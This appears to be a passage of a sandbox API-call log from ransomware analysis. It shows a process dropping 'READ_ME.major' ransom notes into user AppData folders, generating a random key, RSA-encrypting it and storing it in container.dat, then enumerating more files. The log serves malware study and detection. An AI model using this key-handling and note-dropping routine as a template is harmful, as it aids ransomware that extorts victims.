CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\2\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0244.997] WriteFile (in: hFile=0x1af8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.998] CloseHandle (hObject=0x1af8) returned 1 [0244.998] FindNextFileW (in: hFindFile=0x2f31060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf8c607c0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf9125365, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf9125365, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4", cAlternateFileName="")) returned 1 [0244.998] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0245.529] WriteFile (in: hFile=0x1af8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0245.530] CloseHandle (hObject=0x1af8) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x2f31060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc23d3cb7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc23d3cb7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc23d3cb7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x2f31060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4605d665, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4605d665, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x460839c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x2f31060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4605d665, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4605d665, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x460839c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0245.530] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.530] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\container.dat", dwFileAttributes=0x80) returned 1 [0245.531] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0245.531] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0245.531] ReadFile (in: hFile=0x1af8, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0245.531] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.531] WriteFile (in: hFile=0x1af8, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0245.531] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0245.531] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.531] WriteFile (in: hFile=0x1af8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.532] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.532] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.532] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.533] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XwMw9AftCjMS6DV131y+jD0Ti3DfqZVn5T6Wfese0SbigM0CjQhIs6rY62SomKta\nGVipuiqLETqUtk5mtUej6yUuVIEu1i9f2PcRWm8JGi85XPwoF2SayQyUFkpTxyVc\n16jqBF0OsIlx3huF0nZ51AAPq5E9zeKvMS4Q3w9WC8NgvN6XVa6EvyHdV16ylIKp\nH6gSI7cOf8391kaM4j3+ABmTFDk3SuNB3aGvSbUvY88xcLuDUQEa3HKeBcS7blFv\nMfjUmnM0ZJni5kmUQs/ue/qPJHgMWS0vgL0A6enVYxDDQ5f2ohjeRmr0zeY2ZD9P\nwyYh5uVok2DR0015MKVvEg==\n", pcchString=0x2e3f9a8) returned 1 [0245.533] WriteFile (in: hFile=0x1af8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.533] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.533] WriteFile (in: hFile=0x1af8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.533] CloseHandle (hObject=0x1af8) returned 1 [0245.552] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97842c35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x474c7a00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31fe0 [0245.553] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97842c35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x474c7a00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474c7a00, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x474c7a00, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x474edc29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x381e50b0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381e50b0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{0079A0FC-58F2-467F-9294-6309B1E659EF}", cAlternateFileName="{0079A~1")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5a769e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b5a769e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{034FA7ED-D1B4-4D9A-971D-782B8715E040}", cAlternateFileName="{034FA~1")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x988a6f4d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x988a6f4d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{05A060EB-5890-4344-9370-DC1E06EC42BA}", cAlternateFileName="{05A06~1")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98703565, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98703565, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{06A6D43F-8744-4A41-B9CE-FFA8570069CC}", cAlternateFileName="{06A6D~1")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98703565, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98703565, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{07E7709A-2252-4F64-93C1-4DBAB210817B}", cAlternateFileName="{07E77~1")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3806791c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3806791c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{095069DB-9C71-4A14-B8D7-97E8B3310415}", cAlternateFileName="{09506~1")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50cb229, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb50cb229, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{0B9E8261-988B-4055-82FD-728741FA7859}", cAlternateFileName="{0B9E8~1")) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9893f8b9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9893f8b9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{105794B2-E9C9-44C8-ACF6-B7C0B365698C}", cAlternateFileName="{10579~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b6d8969, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b6d8969, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{1266D82E-09AF-4573-B530-14687B493988}", cAlternateFileName="{1266D~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98834842, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98834842, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{1312ADBB-3D3B-423F-AA97-1A3E9F16657A}", cAlternateFileName="{1312A~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b74b076, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b74b076, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{13195EA8-15F2-47D9-A532-E81062D4B757}", cAlternateFileName="{13195~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9893f8b9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9893f8b9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{16DAFC99-00F8-4C05-A46A-BCB142A0CCD2}", cAlternateFileName="{16DAF~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98775c73, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98775c73, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{197DFB5F-C4AA-4B34-9390-72C57DC8BFF8}", cAlternateFileName="{197DF~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9893f8b9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9893f8b9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{1E2A2306-C9C1-4028-A5D7-F2EC7326097B}", cAlternateFileName="{1E2A2~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993d3fe9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x993d3fe9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{238B3853-BA53-44A6-88BA-A0867B43ED76}", cAlternateFileName="{238B3~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9927cac9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9927cac9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{25F897FC-E052-47D8-81FA-058F7D44DB07}", cAlternateFileName="{25F89~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb5100e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bb5100e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{27F05FEC-A9C6-4C1E-B218-39AC437A0419}", cAlternateFileName="{27F05~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{2ADB8C14-DCB4-40AE-8D64-88007C912021}", cAlternateFileName="{2ADB8~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4fb205, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xee4fb205, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{2BC99385-EF59-444C-A32A-68291A8E5017}", cAlternateFileName="{2BC99~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3817298a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3817298a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{2C93380E-CAC6-43B0-86B5-A8096D4CDF2D}", cAlternateFileName="{2C933~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1f5fb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98d1f5fb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{2E978839-21C5-49A6-AD08-F9DAFC903070}", cAlternateFileName="{2E978~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98b7bc11, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98b7bc11, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{33305276-2049-4128-AEEC-B9A21214B851}", cAlternateFileName="{33305~1")) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380416c0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380416c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{3C789AEE-6106-4384-B319-0C96E1E71678}", cAlternateFileName="{3C789~1")) returned 1 [0245.556] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98bee32e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98bee32e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{3CE017FD-E6DA-4E49-A4D3-F69A0E563D90}", cAlternateFileName="{3CE01~1")) returned 1 [0245.556] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{3DB05D28-F3C3-449E-B7A6-31F664B2660E}", cAlternateFileName="{3DB05~1")) returned 1 [0245.556] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d6baad, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98d6baad, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{4A8A0B51-D1CB-4B42-A15C-6A3F7956552D}", cAlternateFileName="{4A8A0~1")) returned 1 [0245.556] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3817298a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3817298a, 